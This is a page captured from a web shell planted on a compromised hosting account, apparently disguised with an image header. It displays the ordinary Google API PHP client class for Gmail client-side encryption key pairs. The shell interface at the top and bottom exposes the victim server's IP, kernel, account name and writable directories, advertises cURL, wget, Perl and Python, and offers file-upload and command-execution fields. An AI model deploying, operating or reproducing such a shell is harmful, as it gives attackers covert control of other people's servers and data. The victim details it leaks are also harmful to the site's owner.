ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.220
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/www/vendor/google/apiclient-services/src/Gmail/Resource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/www/vendor/google/apiclient-services/src/Gmail/Resource/UsersSettingsCseKeypairs.php
<?php
/*
 * Copyright 2014 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */

namespace Google\Service\Gmail\Resource;

use Google\Service\Gmail\CseKeyPair;
use Google\Service\Gmail\DisableCseKeyPairRequest;
use Google\Service\Gmail\EnableCseKeyPairRequest;
use Google\Service\Gmail\ListCseKeyPairsResponse;
use Google\Service\Gmail\ObliterateCseKeyPairRequest;

/**
 * The "keypairs" collection of methods.
 * Typical usage is:
 *  <code>
 *   $gmailService = new Google\Service\Gmail(...);
 *   $keypairs = $gmailService->keypairs;
 *  </code>
 */
class UsersSettingsCseKeypairs extends \Google\Service\Resource
{
  /**
   * Creates and uploads a client-side encryption S/MIME public key certificate
   * chain and private key metadata for the authenticated user.
   * [Beta](https://workspace.google.com/terms/service-terms/index.html).
   * (keypairs.create)
   *
   * @param string $userId The requester's primary email address. To indicate the
   * authenticated user, you can use the special value `me`.
   * @param CseKeyPair $postBody
   * @param array $optParams Optional parameters.
   * @return CseKeyPair
   */
  public function create($userId, CseKeyPair $postBody, $optParams = [])
  {
    $params = ['userId' => $userId, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('create', [$params], CseKeyPair::class);
  }
  /**
   * Turns off a client-side encryption key pair. The authenticated user can no
   * longer use the key pair to decrypt incoming CSE message texts or sign
   * outgoing CSE mail. To regain access, use the EnableCseKeyPair to turn on the
   * key pair. After 30 days, you can permanently delete the key pair by using the
   * ObliterateCseKeyPair method. [Beta](https://workspace.google.com/terms
   * /service-terms/index.html). (keypairs.disable)
   *
   * @param string $userId The requester's primary email address. To indicate the
   * authenticated user, you can use the special value `me`.
   * @param string $keyPairId The identifier of the key pair to turn off.
   * @param DisableCseKeyPairRequest $postBody
   * @param array $optParams Optional parameters.
   * @return CseKeyPair
   */
  public function disable($userId, $keyPairId, DisableCseKeyPairRequest $postBody, $optParams = [])
  {
    $params = ['userId' => $userId, 'keyPairId' => $keyPairId, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('disable', [$params], CseKeyPair::class);
  }
  /**
   * Turns on a client-side encryption key pair that was turned off. The key pair
   * becomes active again for any associated client-side encryption identities.
   * [Beta](https://workspace.google.com/terms/service-terms/index.html).
   * (keypairs.enable)
   *
   * @param string $userId The requester's primary email address. To indicate the
   * authenticated user, you can use the special value `me`.
   * @param string $keyPairId The identifier of the key pair to turn on.
   * @param EnableCseKeyPairRequest $postBody
   * @param array $optParams Optional parameters.
   * @return CseKeyPair
   */
  public function enable($userId, $keyPairId, EnableCseKeyPairRequest $postBody, $optParams = [])
  {
    $params = ['userId' => $userId, 'keyPairId' => $keyPairId, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('enable', [$params], CseKeyPair::class);
  }
  /**
   * Retrieves an existing client-side encryption key pair.
   * [Beta](https://workspace.google.com/terms/service-terms/index.html).
   * (keypairs.get)
   *
   * @param string $userId The requester's primary email address. To indicate the
   * authenticated user, you can use the special value `me`.
   * @param string $keyPairId The identifier of the key pair to retrieve.
   * @param array $optParams Optional parameters.
   * @return CseKeyPair
   */
  public function get($userId, $keyPairId, $optParams = [])
  {
    $params = ['userId' => $userId, 'keyPairId' => $keyPairId];
    $params = array_merge($params, $optParams);
    return $this->call('get', [$params], CseKeyPair::class);
  }
  /**
   * Lists client-side encryption key pairs for an authenticated user.
   * [Beta](https://workspace.google.com/terms/service-terms/index.html).
   * (keypairs.listUsersSettingsCseKeypairs)
   *
   * @param string $userId The requester's primary email address. To indicate the
   * authenticated user, you can use the special value `me`.
   * @param array $optParams Optional parameters.
   *
   * @opt_param int pageSize The number of key pairs to return. If not provided,
   * the page size will default to 20 entries.
   * @opt_param string pageToken Pagination token indicating which page of key
   * pairs to return. If the token is not supplied, then the API will return the
   * first page of results.
   * @return ListCseKeyPairsResponse
   */
  public function listUsersSettingsCseKeypairs($userId, $optParams = [])
  {
    $params = ['userId' => $userId];
    $params = array_merge($params, $optParams);
    return $this->call('list', [$params], ListCseKeyPairsResponse::class);
  }
  /**
   * Deletes a client-side encryption key pair permanently and immediately. You
   * can only permanently delete key pairs that have been turned off for more than
   * 30 days. To turn off a key pair, use the DisableCseKeyPair method. Gmail
   * can't restore or decrypt any messages that were encrypted by an obliterated
   * key. Authenticated users and Google Workspace administrators lose access to
   * reading the encrypted messages. [Beta](https://workspace.google.com/terms
   * /service-terms/index.html). (keypairs.obliterate)
   *
   * @param string $userId The requester's primary email address. To indicate the
   * authenticated user, you can use the special value `me`.
   * @param string $keyPairId The identifier of the key pair to obliterate.
   * @param ObliterateCseKeyPairRequest $postBody
   * @param array $optParams Optional parameters.
   */
  public function obliterate($userId, $keyPairId, ObliterateCseKeyPairRequest $postBody, $optParams = [])
  {
    $params = ['userId' => $userId, 'keyPairId' => $keyPairId, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('obliterate', [$params]);
  }
}

// Adding a class alias for backwards compatibility with the previous class name.
class_alias(UsersSettingsCseKeypairs::class, 'Google_Service_Gmail_Resource_UsersSettingsCseKeypairs');

Youez - 2016 - github.com/yon3zu
LinuXploit